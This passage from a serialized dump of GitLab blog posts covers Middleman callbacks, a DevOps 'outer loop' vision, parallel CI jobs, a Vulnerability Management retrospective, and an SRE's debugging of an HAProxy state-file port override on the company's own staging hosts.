[https://about.gitlab.com](https://about.gitlab.com), a static site built with [Middleman](https://middlemanapp.com/). I needed to find a more comprehensive list of available [callbacks](https://middlemanapp.com/advanced/custom-extensions/#callbacks) in the Middleman lifecycle.\n\nI hope this blog post is helpful if you're looking for existing Middleman callbacks, or if you're getting started reading through the source code of your favorite open source tools. \n\n## The task at hand\n\nIf you're getting started reading open source, I find it helps to have a specific task. Any unfamiliar codebase can be challenging to navigate. Having a goal in mind narrows your focus. Here was my task for Middleman:\n\nI recently created a merge request to [add Webpack devServer to the local development environment](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/71845). I had to modify some existing behavior of our Middleman preview server and wanted to use one of the lifecycle callbacks to modify the preview server's log output. \n\nHowever, the Middleman documentation does not currently list all available callbacks, nor where they happen in the lifecycle. The [extension docs](https://middlemanapp.com/advanced/custom-extensions/) say: \n\n> Middleman extensions are Ruby classes which can hook into various points of the Middleman system, add new features and manipulate content. This guide explains some of what's available, but you should read the Middleman source and the source of plugins like middleman-blog to discover all the hooks and extension points.\n\nI took them up on their advice and read through the [Middleman source code](https://github.com/middleman/middleman) to find the available callbacks. Here's what I found, and how I found them.\n\n## Callbacks available in Middleman Core\n\n1. `initialized`: called before config is parsed, and before extensions are registered\n1. `configure`: called to run any `configure` blocks (once for current environment, again for the current mode)\n1. `before_extensions`: called before the `ExtensionManager` is instantiated\n1. `before_instance_block`: called before any blocks are passed to the configuration context\n1. `before_sitemap`: called before the `SiteMap::Store` is instantiated, which initializes the sitemap\n1. `before_configuration`: called before configuration is parsed, mostly used for extensions\n1. `after_configuration`: called after extensions have worked\n1. `after_configuration_eval`: called after the configuration is parsed, before the pre-extension callback\n1. `ready`: called when everything is stable\n1. `before_build`: called before the site build process runs\n1. `after_build`: called after the builder is complete\n1. `before_shutdown`: called in the `shutdown!` method, which lets users know the application is shutting down\n1. `before`: called before Rack requests\n1. `before_server`: called before the `PreviewServer` is created\n1. `reload`: called before the new application is initialized on a reload event\n\n## How to find Middleman Callbacks\n\n1. [Clone](https://docs.gitlab.com/ee/gitlab-basics/start-using-git.html) the [Middleman repository](https://github.com/middleman/middleman) to your local machine. \n1. Open the Middleman directory in a text editor, IDE, or any tool that allows you to easily search through a folder's files for specific strings. \n1. Start with the [existing documentation](https://middlemanapp.com/advanced/custom-extensions/#callbacks) if it exists. Middleman lists the names of a few callbacks. You can search the directory for the string `after_configuration`.\n1. In this instance, you should be able to find that string used like so: `execute_callbacks(:after_configuration)`.\n1. You may also find it listed with other similar symbols in `middleman-core/lib/middleman-core/application.rb`. \n1. Read through the related blocks of code around these search results, you'll get some additional context for how they work, and you may find additional search terms that will be helpful.\n1. In the case of Middleman callbacks, you can continue to search for combinations of the `execute_callbacks` method with any callback listed in `middleman-core/lib/middleman-core/application.rb` to find where and when specific callbacks are used.\n\n## Contribute!\n\nWith this in-depth knowledge of your tool, you can be more productive at your day-to-day work, and you can contribute back to open source more easily. \n\nIn my case, I was able to identify the best callback for my usecase, and I now plan to check in with the Middleman team and ask if they would accept a contribution to their documentation with this information so it's easier for other folks to find in the future.\n",[815,696,1444],{"slug":19991,"featured":6,"template":678},"how-to-read-open-source-finding-middleman-callbacks","content:en-us:blog:how-to-read-open-source-finding-middleman-callbacks.yml","How To Read Open Source Finding Middleman Callbacks","en-us/blog/how-to-read-open-source-finding-middleman-callbacks.yml","en-us/blog/how-to-read-open-source-finding-middleman-callbacks",{"_path":19997,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19998,"content":20003,"config":20008,"_id":20010,"_type":16,"title":20011,"_source":17,"_file":20012,"_stem":20013,"_extension":20},"/en-us/blog/journey-to-the-outer-loop",{"title":19999,"description":20000,"ogTitle":19999,"ogDescription":20000,"noIndex":6,"ogImage":17779,"ogUrl":20001,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20001,"schema":20002},"Journey to the Outer Loop","A space journey from Earth to a world where Product Managers don't exist","https://about.gitlab.com/blog/journey-to-the-outer-loop","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Journey to the Outer Loop\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kenny Johnston\"}],\n        \"datePublished\": \"2021-01-20\",\n      }",{"title":19999,"description":20000,"authors":20004,"heroImage":17779,"date":19987,"body":20006,"category":18484,"tags":20007},[20005],"Kenny Johnston","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n🚀 Your DevOps journey, like any good space journey, spans vast distances. As your space captain, I’m here to remind you, we have a long way to go. DevOps by its continuous improvement definition isn’t a one stop destination. Today, in the true spirit of continuous improvement we’re rightly focused on our immediate next step along the journey. The next steps involve familiar friends - our fellow technical professionals who design, code, test, secure, deploy and operate software.  On our space journey they are our local solar system - they’re Mercury, Venus, Earth, Mars, Jupiter and Saturn. These planetary neighbors are concentrating on improved feedback and collaboration amongst each other.  We’re optimizing the efficiency of software creation. We’ve even built complete teams to perform this integrated activity holistically. That is DevOps culture! \n\nThat is also just the beginning of DevOps. In DevOps we call this solar-system collaboration the Inner Loop. The important feedback loop that brings us confidence in the technical abilities of our software. Think of things like reliability, scalability, observability, velocity. Those are critical abilities to keep up with our competition, ship software faster and accelerate. This inner loop is about efficiency, are we using the right build strategy? Continuous improvement of our inner loop is possible today using collaboration concepts like continuous integration, continuous deployment, [DevSecOps](/topics/devsecops/) as well as pipelines, infrastructure and observability as code. \n\n![Inner Loop](https://about.gitlab.com/images/blogimages/2021-outer-loop-journey/inner_loop.png)\n\nThere is, somewhere beyond our solar-system, a galactic Outer Loop. In this Outer Loop we gain confidence in the value capabilities of our product. Imagine things like usability, adoptability, stickiness and competitiveness. This outer loop is about effectiveness, are we building the right things? These capabilities do more than just enable us to keep up with the competition and deliver value to our users - they are the measures of whether we are doing so. This is the next step in DevOps!\n\n![Outer Loop](https://about.gitlab.com/images/blogimages/2021-outer-loop-journey/outer_loop.png)\n\nI’m going to take you on a journey to this Outer Loop - what it looks like today, what constellations of tools are available for it, and what a more complete Outer Loop could look like. Buckle up!\n\n#### What it looks like today\n\nIn today’s mostly uncharted Outer Loop - the space is disorganized at best. Ask most modern software development organizations and they will tell you they are struggling to integrate tools to enable this feedback loop. An organization who has figured out their inner loop thanks to CI/CD  is now struggling with how to get feedback to the teams. Today DevOps teams are:\n* Using Progressive Delivery techniques such as canary deployments and feature flags to perform some A/B or hypothesis testing\n* Struggling to connect quantitative feedback in the form of user data into actionable insights from the loop\n* Collecting qualitative user feedback in the form of NPS scores, user research, feature requests in disparate silos with limited access\n* Filtering feedback through a single individual’s brain, typically a product manager, in order to process it for prioritization\n* Lacking understanding of the efficiency of the types of feedback they receive\n* Stitching together multiple tools to try to ensure feedback gets into the right hands\n\nSome of the tools for various parts of this outer loop are:\n* Collection - Survey Monkey, MiPanel, Heap, Chorus.ai, NPS, Support Tickets\n* Analysis - Qualtrics, Pendo.io, Gainsight\n* Insights - Dovetail\n* Prioritization - Aha!, Trello\n\n#### Constellation of Tools\n\nToday’s Outer Loop is a bit like an alien world. We don’t yet have the tools to organize and make sense of it. What would happen if we did?\n\nAn effective Outer Loop - one built for optimizing outcomes for our users - would easily allow for the kinds of activities sought by Product Managers. Activities like lean product delivery, hypothesis testing, and prioritization frameworks. In fact - if you gave these tools to the real value creators - engineers, testers, designers, operators - you wouldn’t need Product Managers! \n\nImagine, beyond our solar-system a world where there were no Product Managers. Feedback is collected and tools readily available for the creators to analyze it.  That feedback includes qualitative and quantitative feedback from users, buyers and competition not just about what the product does today - but what it could do tomorrow. The creators iterate on a prioritization framework that is continuously improved. They ship experiments and have tools which empower them to designate an experiment a success. If successful they can rapidly promote an experiment. The primary input - which should be evident already - is a business goal. \n\n#### Are we there yet?\n\nThe reality is, this future world isn’t far off. Product focused DevOps teams have these point solutions at their disposal today. What they are missing is many of the same qualities that teams struggled within in the Inner Loop: A common platform to perform these activities that didn’t reinforce silos and create significant effort to stitch disparate tools together.\n\nAs one of the leading Value Stream Delivery Platforms - this is exactly where Gitlab is headed. We’re focused on completing the Galactic Outer Loop for you! Imagine a world where investment decision wasn’t subjective, ad-hoc, single tracked, and not data-driven! Imagine, no product managers! I’d invite you to [collaborate with us on that vision](https://gitlab.com/gitlab-org/gitlab/-/issues/299315). To Infinity and Beyond!\n",[4103,695],{"slug":20009,"featured":6,"template":678},"journey-to-the-outer-loop","content:en-us:blog:journey-to-the-outer-loop.yml","Journey To The Outer Loop","en-us/blog/journey-to-the-outer-loop.yml","en-us/blog/journey-to-the-outer-loop",{"_path":20015,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20016,"content":20021,"config":20026,"_id":20028,"_type":16,"title":20029,"_source":17,"_file":20030,"_stem":20031,"_extension":20},"/en-us/blog/using-run-parallel-jobs",{"title":20017,"description":20018,"ogTitle":20017,"ogDescription":20018,"noIndex":6,"ogImage":19593,"ogUrl":20019,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20019,"schema":20020},"How we used parallel CI/CD jobs to increase our productivity","GitLab uses parallel jobs to help long-running jobs run faster.","https://about.gitlab.com/blog/using-run-parallel-jobs","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we used parallel CI/CD jobs to increase our productivity\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Miguel Rincon\"}],\n        \"datePublished\": \"2021-01-20\",\n      }",{"title":20017,"description":20018,"authors":20022,"heroImage":19593,"date":19987,"body":20024,"category":734,"tags":20025},[20023],"Miguel Rincon","\n\nAt GitLab, we must verify simultaneous changes from the hundreds of people that contribute to GitLab each day. How can we help them contribute efficiently using our pipelines?\n\nThe pipelines that we use to build and verify GitLab have more than 90 jobs. Not all of those jobs are equal. Some are simple tasks that take a few seconds to finish, while others are long-running processes that must be optimized carefully.\n\nAt the time of this writing, we have more than 700 [pipelines running](https://gitlab.com/gitlab-org/gitlab/-/pipelines?page=1&scope=all&status=running). Each of these pipelines represent changes from team members and contributors from the wider community. All GitLab contributors must wait for the pipelines to finish to make sure the change works and integrates with the rest of the product. We want our pipelines to finish as fast as possible to maintain the productivity of our teams.\n\nThis is why we constantly monitor the duration of our pipelines. For example, in December 2020, successful merge request pipelines had a duration of [53.8 minutes](/handbook/engineering/quality/performance-indicators/#average-merge-request-pipeline-duration-for-gitlab):\n\n![Average pipeline duration was 53.8 minutes in December](https://about.gitlab.com/images/blogimages/using-run-parallel-jobs/historical-pipeline-duration.png){: .shadow.medium.center}\nThe average pipeline took 53.8 minutes to finish in December.\n{: .note.text-center}\n\nGiven that we run [around 500 merge request pipelines](https://gitlab.com/gitlab-org/gitlab/-/pipelines/charts) per day, we want to know: Can we optimize our process to change how long-running jobs _run_?\n\n## How we fixed our bottleneck jobs by making them run in parallel\n\nThe `frontend-fixtures` job uses `rspec` to generate mock data files, which are then saved as files called \"fixtures\". These files are loaded by our frontend tests, so the `frontend-fixtures` must finish before any of our frontend tests can start.\n\n> As not all of our tests need these frontend fixtures, many jobs use the [`needs` keyword](https://docs.gitlab.com/ee/ci/yaml/#needs) to start before the `frontend-fixtures` job is done.\n\nIn our pipelines, this job looked like this:\n\n![The `frontend-fixtures` job](https://about.gitlab.com/images/blogimages/using-run-parallel-jobs/fixtures-job.png){: .shadow.medium.center}\nInside the frontend fixtures job.\n{: .note.text-center}\n\n\nThis job had a normal duration of 20 minutes, and each individual fixture could be generated independently, so we knew there was an opportunity to run this process in parallel.\n\nThe next step was to configure our pipeline to split the job into multiple batches that could be run in parallel.\n\n## How to make frontend-fixtures a parallel job\n\nFortunately, GitLab CI provides an easy way to run a job in parallel using the [`parallel` keyword](https://docs.gitlab.com/ee/ci/yaml/#parallel). In the background, this creates \"clones\" of the same job, so that multiple copies of it can run simultaneously.\n\n**Before:**\n\n```yml\nfrontend-fixtures:\n  extends:\n    - .frontend-fixtures-base\n    - .frontend:rules:default-frontend-jobs\n```\n\n**After:**\n\n```yml\nrspec-ee frontend_fixture:\n  extends:\n    - .frontend-fixtures-base\n    - .frontend:rules:default-frontend-jobs\n  parallel: 2\n```\n\nYou will notice two changes. First, we changed the name of the job, so our job is picked up by [Knapsack](https://docs.knapsackpro.com/ruby/knapsack) (more on that later), and then we add the keyword `parallel`, so the job gets duplicated and runs in parallel.\n\nThe new jobs that are generated look like this:\n\n![Our fixtures job running in parallel](https://about.gitlab.com/images/blogimages/using-run-parallel-jobs/fixtures-job-parallel.png){: .shadow.medium.center}\nThe new jobs that are picked up by Knapsack and run in parallel.\n{: .note.text-center}\n\nAs we used a value of `parallel: 2`, actually two jobs are generated with the names:\n\n- `rspec-ee frontend_fixture 1/2`\n- `rspec-ee frontend_fixture 2/2`\n\nOur two \"generated\" jobs, now take three and 17 minutes respectively, giving us an overall decrease of about three minutes.\n\n![Two parallel jobs in the pipeline](https://about.gitlab.com/images/blogimages/using-run-parallel-jobs/fixtures-job-detail.png){: .shadow.medium.center}\nThe parallel jobs that are running in the pipeline.\n{: .note.text-center}\n\n## Another way we optimized the process\n\nAs we use Knapsack to distribute the test files among the parallel jobs, we were able to make more improvements by reducing the time it takes our longest-running fixtures-generator file to run.\n\nWe did this by splitting the file into smaller batches and optimizing it, so we have more tests running in parallel, which shaved off an additional [~3.5 minutes](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47158#note_460372560).\n\n## Tips for running parallel jobs\n\nIf you want to ramp up your productivity you can leverage `parallel` on your pipelines by following these tips:\n\n1. Measure the time your pipelines take to run and identify possible bottlenecks to your jobs. You can do this by checking which jobs are slower than others.\n1. Once your slow jobs are identified, try to figure out if they can be run independently from each other or in batches.\n   - Automated tests are usually good candidates, as they tend to be self-contained and run in parallel anyway.\n1. Add the `parallel` keyword, while measuring the outcome over the next few running pipelines.\n\n## Learn more about our solution\n\nWe discuss how running jobs in parallel improved the speed of pipelines on GitLab Unfiltered.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/hKsVH_ZhSAk\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nAnd here are links to some of the resources we used to run pipelines in parallel:\n\n- The [merge request that introduced `parallel` to fixtures](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46959).\n- An important [optimization follow-up](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47158) to make one of the slow tests faster.\n- The [Knapsack gem](https://docs.knapsackpro.com/ruby/knapsack), which we leverage to split the tests more evenly in multiple CI nodes.\n\nAnd many thanks to [Rémy Coutable](/company/team/#rymai), who helped me implement this improvement.\n\nCover image by [@dustt](https://unsplash.com/@dustt) on [Unsplash](https://unsplash.com/photos/ZqBNb7xK5s8)\n{: .note}\n",[676,1384,1385,1268,1444],{"slug":20027,"featured":6,"template":678},"using-run-parallel-jobs","content:en-us:blog:using-run-parallel-jobs.yml","Using Run Parallel Jobs","en-us/blog/using-run-parallel-jobs.yml","en-us/blog/using-run-parallel-jobs",{"_path":20033,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20034,"content":20040,"config":20045,"_id":20047,"_type":16,"title":20048,"_source":17,"_file":20049,"_stem":20050,"_extension":20},"/en-us/blog/a-year-of-iteration",{"title":20035,"description":20036,"ogTitle":20035,"ogDescription":20036,"noIndex":6,"ogImage":20037,"ogUrl":20038,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20038,"schema":20039},"2020: A year of iteration","A look at how far Vulnerability Management progressed in 2020 through hard work and lots of iterations.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681857/Blog/Hero%20Images/cover-2020-a-year-of-iteration.jpg","https://about.gitlab.com/blog/a-year-of-iteration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"2020: A year of iteration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matt Wilson\"}],\n        \"datePublished\": \"2021-01-18\",\n      }",{"title":20035,"description":20036,"authors":20041,"heroImage":20037,"date":20042,"body":20043,"category":18484,"tags":20044},[16348],"2021-01-18","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nAt GitLab, [we’re all about iteration](https://handbook.gitlab.com/handbook/values/#iteration). It helps us continuously push out product improvements and additional value to our users. One interesting side effect of iteration is that it can make it harder to see the true scope of what you’ve delivered. Rather than a few big bang giant feature releases per year, a steady flow of iterative improvements requires taking a few steps back to look at all the work in aggregate to get a full sense of accomplishment. As we look forward to 2021, it’s worth a look back to see how far the [Threat Insights group](https://about.gitlab.com/handbook/product/categories/#threat-insights-group) has come with [Vulnerability Management](https://about.gitlab.com/direction/govern/threat_insights/vulnerability_management/) in the past year.\n\nThe year 2020 was filled with unprecedented challenges far beyond what most of us have ever experienced. The Threat Insights team formed against a backdrop of uncertainty with a global pandemic just starting to spread. Most of our team joined GitLab last year. We took over a fledgling area of the product that was off to a good start but hadn’t had a dedicated team to push it forward. Many of us—myself included—had security experience yet little to no background in vulnerability management. In short: we faced a daunting challenge.\n\nInitially, progress was slow as we took inventory of the current state of Vulnerability Management. We gathered input from others who worked on existing functionality. Early on, we determined that a major architectural upgrade to how GitLab stored vulnerability data from pipeline jobs was essential to do first. It took several months of hard work that culminated in [Standalone Vulnerability Objects](https://about.gitlab.com/releases/2020/05/22/gitlab-13-0-released/#standalone-vulnerability-objects) debuting in GitLab 13.0 in May.\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/2020-a-year-of-iteration/project-security-dashboard-early-2020.png){: .shadow}\nProject-level Vulnerability Management in early 2020\n{: .note.text-center}\n\nYou may be wondering how a post that started by talking about iteration fits with spending a few months for one big change. Sometimes there are necessary exceptions where iterative releases would be more disruptive to users. Because we were changing the underlying storage model for vulnerability data, it was critical to upgrade all components of Vulnerability Management together. Otherwise, the experience for our users would have been inconsistent and confusing. We did still develop the new vulnerability object model iteratively; however, the work was held back behind a (large) feature flag until all pieces were complete and we could publicly release them simultaneously.\n\nThe Standalone Vulnerability Objects release was a major step forward technically. It also brought about another key milestone: Vulnerability Management’s [maturity](https://about.gitlab.com/direction/maturity/) officially moved to Minimal. Reaching Minimal signaled our category now had a complete foundation on which our users could build their vulnerability management and remediation programs. Getting this key piece of architecture in place further marked a turning point in our team’s ability to start quickly delivering new features built on top of it.\n\nTo illustrate how much the team accomplished just since 13.0, here are some highlights from our May-December progress:\n\n* 10 release post-worthy new features\n* Over 40 total new features and enhancements to existing features\n* Numerous new GraphQL endpoints (and one of the first teams to go GraphQL-first)\n* Over 150 bugs squashed\n* Numerous technical and performance improvements\n\nWe transformed the Group- and Project-level Security Dashboards into separate experiences for dashboarding and working with vulnerability lists. We created a personal [Security Center](https://about.gitlab.com/releases/2020/09/22/gitlab-13-4-released/#security-center). We made managing vulnerabilities a more seamless part of an integrated DevSecOps workflow with new features like [linking existing issues to vulnerabilities](https://about.gitlab.com/releases/2020/08/22/gitlab-13-3-released/#link-existing-issues-to-a-vulnerability), [showing pipeline status on Project Security Dashboards](https://about.gitlab.com/releases/2020/11/22/gitlab-13-6-released/#pipeline-status-in-project-security-dashboard), and adding [Special references for vulnerabilities](https://about.gitlab.com/releases/2020/12/22/gitlab-13-7-released/#special-references-for-vulnerabilities). And, perhaps most impressively, Vulnerability Management reached the next maturity level of Viable a mere 7 months after reaching Minimal—and a month ahead of plan. Reaching Viable so quickly is an especially big achievement since it requires successfully passing a [research-based maturity evaluation process](https://about.gitlab.com/handbook/product/ux/category-maturity/category-maturity-scorecards/) with real users.\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/2020-a-year-of-iteration/project-security-dashboard-december-2020.png){: .shadow}\nProject-level Vulnerability Management in December 2020\n{: .note.text-center}\n\nLast year, many of us were stuck at home, our routines becoming monotonous with days seeming to blur together. It’s easy to get lost in the day-to-day. This can make it difficult to see just how much forward progress might actually be happening. Taking time to inventory our accomplishments highlights that we achieved quite a bit in a few short months. This perspective of hindsight makes it clear just how far we’ve come. None of this would have been possible without hard work and dedication by the talented Threat Insights team. As we look forward to 2021, I’m excited about [what lies ahead](https://about.gitlab.com/direction/govern/threat_insights/vulnerability_management/). Expect even more big things—in monthly iterations—from Threat Insights!\n\nCover image by \u003Ca href=\"https://unsplash.com/@marcello54?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText\">Marcello Gennari\u003C/a> on \u003Ca href=\"https://unsplash.com/?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText\">Unsplash\u003C/a>\n{: .note}\n",[232,674,2368],{"slug":20046,"featured":6,"template":678},"a-year-of-iteration","content:en-us:blog:a-year-of-iteration.yml","A Year Of Iteration","en-us/blog/a-year-of-iteration.yml","en-us/blog/a-year-of-iteration",{"_path":20052,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20053,"content":20059,"config":20066,"_id":20068,"_type":16,"title":20069,"_source":17,"_file":20070,"_stem":20071,"_extension":20},"/en-us/blog/this-sre-attempted-to-roll-out-an-haproxy-change",{"title":20054,"description":20055,"ogTitle":20054,"ogDescription":20055,"noIndex":6,"ogImage":20056,"ogUrl":20057,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20057,"schema":20058},"This SRE's HAProxy Config Change: An Unexpected Journey","This post is about a wild discovery made while investigating strange behavior from HAProxy. We dive into the pathology, describe how we found it, and share some investigative techniques used along the way.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681844/Blog/Hero%20Images/infra-proxy-protocol-wireshark-header.png","https://about.gitlab.com/blog/this-sre-attempted-to-roll-out-an-haproxy-change","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"This SRE attempted to roll out an HAProxy config change. You won't believe what happened next... \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Igor Wiedler\"}],\n        \"datePublished\": \"2021-01-14\",\n      }",{"title":20060,"description":20055,"authors":20061,"heroImage":20056,"date":20063,"body":20064,"category":734,"tags":20065},"This SRE attempted to roll out an HAProxy config change. You won't believe what happened next...",[20062],"Igor Wiedler","2021-01-14","\n\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2021-02-12.\n{: .note .alert-info .text-center}\n\n## TL;DR\n\n- HAProxy has a `server-state-file` directive that persists some of its state across restarts.\n- This state file contains the port of each backend server.\n- If an `haproxy.cfg` change modifies the port, the new port will be overwritten with the previous one from the state file.\n- A workaround is to change the backend server name, so that it is considered to be a separate server that does not match what is in the state file.\n- This has implications for the rollout procedure we use on HAProxy.\n\n## Background\n\nAll of this occurred in the context of [the gitlab-pages PROXYv2\nproject](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/11902).\n\nThe rollout to staging involves changing the request flow from TCP proxying...\n```\n                   443                   443                        1443\n[ client ] -> [ google lb ] -> [ fe-pages-01-lb-gstg ] -> [ web-pages-01-sv-gstg ]\n      tcp,tls,http         tcp                        tcp            tcp,tls,http\n```\n\n... to using the [PROXY protocol](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt):\n```\n                   443                   443                        2443\n[ client ] -> [ google lb ] -> [ fe-pages-01-lb-gstg ] -> [ web-pages-01-sv-gstg ]\n      tcp,tls,http         tcp                     proxyv2,tcp       proxyv2,tcp,tls,http\n```\n\nThis is done through this change to `/etc/haproxy/haproxy.cfg` on\n`fe-pages-01-lb-gstg` (note the port change):\n```diff\n-    server web-pages-01-sv-gstg web-pages-01-sv-gstg.c.gitlab-staging-1.internal:1443 check inter 3s fastinter 1s downinter 5s fall 3 port 1080\n-    server web-pages-02-sv-gstg web-pages-02-sv-gstg.c.gitlab-staging-1.internal:1443 check inter 3s fastinter 1s downinter 5s fall 3 port 1080\n+    server web-pages-01-sv-gstg web-pages-01-sv-gstg.c.gitlab-staging-1.internal:2443 check inter 3s fastinter 1s downinter 5s fall 3 port 1080 send-proxy-v2\n+    server web-pages-02-sv-gstg web-pages-02-sv-gstg.c.gitlab-staging-1.internal:2443 check inter 3s fastinter 1s downinter 5s fall 3 port 1080 send-proxy-v2\n```\n\nSeems straightforward enough, let's go ahead and apply that change.\n\n## The brokenness\n\nAfter applying this change on one of the two `fe-pages` nodes, the requests to\nthat node start failing.\n\nBy retrying a few times via `curl` on the command line, we see this error:\n```\n➜  ~ curl -vvv https://jarv.staging.gitlab.io/pages-test/\n*   Trying 35.229.69.78...\n* TCP_NODELAY set\n* Connected to jarv.staging.gitlab.io (35.229.69.78) port 443 (#0)\n* ALPN, offering h2\n* ALPN, offering http/1.1\n* successfully set certificate verify locations:\n*   CAfile: /etc/ssl/cert.pem\n  CApath: none\n* TLSv1.2 (OUT), TLS handshake, Client hello (1):\n* LibreSSL SSL_connect: SSL_ERROR_SYSCALL in connection to jarv.staging.gitlab.io:443\n* Closing connection 0\ncurl: (35) LibreSSL SSL_connect: SSL_ERROR_SYSCALL in connection to jarv.staging.gitlab.io:443\n```\n\nThis looks like some issue in the TLS stack, or possibly with the underlying\nconnection. It turns out that `LibreSSL` does not give us much insight into the\nunderlying issue here.\n\nSo to get a better idea, let's capture a traffic dump on the HAProxy node:\n```\nsudo tcpdump -v -w \"$(pwd)/$(hostname).$(date +%Y%m%d_%H%M%S).pcap\"\n```\n\nWhile `tcpdump` is running, we can generate some traffic, then ctrl+c and pull\nthe dump down for further analysis. That `pcap` file can be opened in Wireshark, and this allows the data to be\nexplored and filtered interactively. Here, the first really surprising thing happens:\n\n**We do not see any traffic on port 2443.**\n\nAt the same time, we _do_ see some traffic on port 1443. But we came here to look at what underlies the LibreSSL error, and what we find\nis the following (by filtering for `ip.addr == \u003Cmy external ip>`). We have a TCP SYN/ACK, establishing the connection. Followed by the client\nsending a TLS \"hello\". After which the server closes the connection with a FIN.\n\nIn other words, the server is closing the connection on the client.\n\n## The early hypotheses\n\nSo here come the usual suspects:\n\n* Did we modify the correct place in the config file?\n* Did we catch all places we need to update in the config?\n* Did the HAProxy process parse th econfig successfully?\n* Did HAProxy actually reload?\n* Is there a difference between reload and restart?\n* Did we modify the correct config file?\n* Are there old lingering HAProxy processes on the box?\n* Are we actually sending traffic to this node?\n* Are backend health checks failing?\n* Is there anything in the HAProxy logs?\n\nNone of these gave any insights whatsoever.\n\nIn an effort to reproduce the issue, I ran HAProxy on my local machine with a\nsimilar config, proxying traffic to `web-pages-01-sv-gstg`. To my surprise, this\nworked correctly. I tested with different HAProxy versions. It worked locally, but not on\n`fe-pages-01`.\n\nAt this point I'm stumped. The local config is not identical to gstg, but quite\nsimilar. What could possibly be the difference?\n\n## Digging deeper\n\nThis is when I reached out to [Matt Smiley](/company/team#/msmiley) to help with the investigation.\n\nWe started off by repeating the experiment. We saw the same results:\n\n* Server closes connection after client sends TLS hello\n* No traffic from fe-pages to web-pages on port 2443\n* Traffic from fe-pages to web-pages on port 1443\n\nThe first lead was to look at the packets going to port 1443. What do they\ncontain? We see this:\n\n![Traffic capture in wireshark showing a TCP FIN and the string QUIT in the stream](https://about.gitlab.com/images/blogimages/infra-proxy-protocol-wireshark.png){: .shadow.center}\nTraffic capture in Wireshark showing a TCP FIN and the string QUIT in the stream\n{: .note.text-center}\n\nThere is mention of `jarv.staging.gitlab.io` which does match what the client sent. And before that there is some really weird preamble:\n\n```\n\"\\r\\n\\r\\n\\0\\r\\nQUIT\\n\"\n```\n\nWhat on earth is this? Is it from the PROXY protocol? Let's search [the\nspec](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt) for the word\n\"QUIT.\" Nothing.\n\nIs this something in the HAProxy source? Searching for \"QUIT\" in the code\nreveals some hits, but none that explain this.\n\nSo this is a mystery. We leave it for now, and probe in a different direction.\n\n## Honing in\n\nHow come we are sending traffic to port 1443, when that port is not mentioned in\n`haproxy.cfg`? Where on earth is HAProxy getting that information from?\n\nI suggested running `strace` on HAProxy startup, so that we can see which files\nare being `open`ed. This is a bit tricky to do though, because the process is\nsystemd-managed.\n\nIt turns out that thanks to BPF and [BCC](https://github.com/iovisor/bcc), we\ncan actually listen on open events system-wide using the wonderful\n[opensnoop](https://github.com/iovisor/bcc/blob/master/tools/opensnoop.py). So we run `opensnoop` and restart `haproxy`, and this is what we see, highlighting the relevant bit:\n```\niwiedler@fe-pages-01-lb-gstg.c.gitlab-staging-1.internal:~$ sudo /usr/share/bcc/tools/opensnoop  -T --name haproxy\n\n...\n\n24.117171000  16702  haproxy             3   0 /etc/haproxy/haproxy.cfg\n...\n24.118099000  16702  haproxy             4   0 /etc/haproxy/errors/400.http\n...\n24.118333000  16702  haproxy             4   0 /etc/haproxy/cloudflare_ips_v4.lst\n...\n24.119109000  16702  haproxy             3   0 /etc/haproxy/state/global\n```\n\nWhat do we have here? `/etc/haproxy/state/global`, this seems oddly suspicious.\nWhat could it possibly be? Let's see what this file contains.\n```\niwiedler@fe-pages-01-lb-gstg.c.gitlab-staging-1.internal:~$ sudo cat /etc/haproxy/state/global\n\n1\n# be_id be_name srv_id srv_name srv_addr srv_op_state srv_admin_state srv_uweight srv_iweight srv_time_since_last_change srv_check_status srv_check_result srv_check_health srv_check_state srv_agent_state bk_f_forced_id srv_f_forced_id srv_fqdn srv_port srvrecord\n5 pages_http 1 web-pages-01-sv-gstg 10.224.26.2 2 0 1 1 21134 15 3 4 6 0 0 0 web-pages-01-sv-gstg.c.gitlab-staging-1.internal 1080 -\n5 pages_http 2 web-pages-02-sv-gstg 10.224.26.3 2 0 1 1 20994 15 3 4 6 0 0 0 web-pages-02-sv-gstg.c.gitlab-staging-1.internal 1080 -\n6 pages_https 1 web-pages-01-sv-gstg 10.224.26.2 2 0 1 1 21134 15 3 4 6 0 0 0 web-pages-01-sv-gstg.c.gitlab-staging-1.internal 1443 -\n6 pages_https 2 web-pages-02-sv-gstg 10.224.26.3 2 0 1 1 20994 15 3 4 6 0 0 0 